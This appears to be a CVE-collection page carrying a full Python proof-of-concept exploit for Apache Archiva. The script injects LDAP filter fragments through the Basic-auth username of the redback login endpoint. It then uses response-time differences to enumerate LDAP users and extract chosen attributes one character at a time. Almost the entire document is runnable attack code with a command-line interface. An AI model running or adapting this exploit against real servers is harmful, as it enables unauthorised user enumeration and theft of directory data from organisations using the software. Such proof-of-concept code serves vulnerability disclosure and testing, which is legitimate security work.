4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3

import argparse
import string
import logging
import requests
import time
from requests.auth import HTTPBasicAuth


_URL = ''
_USER = ''
_ATTR = ''
_PATH = '/restServices/redbackServices/loginService/logIn'

_USER_MAX_LENGTH = 8
_USER_CHARSET = string.ascii_lowercase + string.digits + '_-@.'
_USER_FILTER = '{})(uid=*'

_ATTR_MAX_LENGTH = 20
_ATTR_CHARSET = string.ascii_lowercase + string.digits + '_@.'
_ATTR_CHARSET_EXCLUDE = ''
_ATTR_FILTER = '{user})({attr}={{}}'

_CALIBRATION_N_ATTEMPTS = 10
_N_ATTEMPTS = 2
_RESP_TIME_EXISTS = -1
_RESP_TIME_DOESNT_EXIST = -1


def _calibrate():
  global _RESP_TIME_EXISTS, _RESP_TIME_DOESNT_EXIST
  logging.info('Calibration...')
  total_time = 0
  for i in range(_CALIBRATION_N_ATTEMPTS):
    start_time = time.perf_counter()
    requests.post(_URL.rstrip('/')+_PATH, auth=HTTPBasicAuth('*', 'anything'))
    end_time = time.perf_counter()
    total_time += end_time - start_time
  _RESP_TIME_EXISTS = total_time / _CALIBRATION_N_ATTEMPTS

  total_time = 0
  for i in range(_CALIBRATION_N_ATTEMPTS):
    start_time = time.perf_counter()
    requests.post(_URL.rstrip('/')+_PATH, auth=HTTPBasicAuth('DoesntExistForSure', 'anything'))
    end_time = time.perf_counter()
    total_time += end_time - start_time
  _RESP_TIME_DOESNT_EXIST = total_time / _CALIBRATION_N_ATTEMPTS
    
  logging.debug('_RESP_TIME_EXISTS: {}'.format(_RESP_TIME_EXISTS))
  logging.debug('_RESP_TIME_DOESNT_EXIST: {}'.format(_RESP_TIME_DOESNT_EXIST))
  logging.info('Calibration done')
  return (_RESP_TIME_EXISTS, _RESP_TIME_DOESNT_EXIST)

def _exists(val, filter):
  logging.debug('USER {}'.format(filter.format(val)))
  total_time = 0
  for i in range(_N_ATTEMPTS):
    start_time = time.perf_counter()
    requests.post(_URL.rstrip('/')+_PATH, auth=HTTPBasicAuth(filter.format(val), 'anything'))
    end_time = time.perf_counter()
    total_time += end_time - start_time
  response_time = total_time / _N_ATTEMPTS
  logging.debug('RESP TIME {}'.format(response_time))
  return abs(_RESP_TIME_EXISTS - response_time) < abs(_RESP_TIME_DOESNT_EXIST - response_time)

def _exfiltrate(val, filter, charset, max_length, exclude='', stop_on_first=False):
  if _exists(val=val, filter=filter):
    #print(val)
    print('')
    if stop_on_first:
      return True

  if len(val) == max_length:
    return False

  for c in charset:
    if not c in exclude:
      if _exists(val=val+c+'*', filter=filter):
        print(val + c, end='\r', flush=True)
        ret = _exfiltrate(val=val + c, filter=filter, charset=charset, max_length=max_length, exclude=exclude)
        if ret and stop_on_first:
          return ret

def _enumerate_users():
  logging.info('Enumerating users from {}'.format(_URL))
  _calibrate()
  _exfiltrate(val='', filter=_USER_FILTER, charset=_USER_CHARSET, max_length=_USER_MAX_LENGTH)


def _exfiltrate_attr():
  logging.info('Exfiltrating {} attribute of {} user from {}'.format(_ATTR, _USER, _URL))
  _calibrate()
  _exfiltrate(val='', filter=_ATTR_FILTER.format(user=_USER, attr=_ATTR), charset=_ATTR_CHARSET,
              max_length=_ATTR_MAX_LENGTH, exclude=_ATTR_CHARSET_EXCLUDE, stop_on_first=True)


def main():
  parser = argparse.ArgumentParser(description='Apache Archiva PoC. Exfiltrate users and attributes from LDAP.')
  parser.add_argument('-v', dest='verbose', required=False, action='store_true', help='Enable debug logging')
  parser.add_argument('--url', dest='url', required=True, help='Archiva URL, e.g. http://127.0.0.1:8080/')
  parser.add_argument('--user', dest='user', required=False, help='LDAP user for which to exfiltrate attribute value')
  parser.add_argument('--attr', dest='attribute', required=False, help='LDAP attribute to exfiltrate')
  args = parser.parse_args()

  global _URL
  _URL = args.url

  logging.basicConfig(format='[%(levelname)s] %(message)s', level=logging.DEBUG if args.verbose else logging.INFO)

  if args.user:
    global _USER, _ATTR
    _USER = args.user
    _ATTR = args.attribute
    _exfiltrate_attr()
  else:
    _enumerate_users()

if __name__ == '__main__':
  main()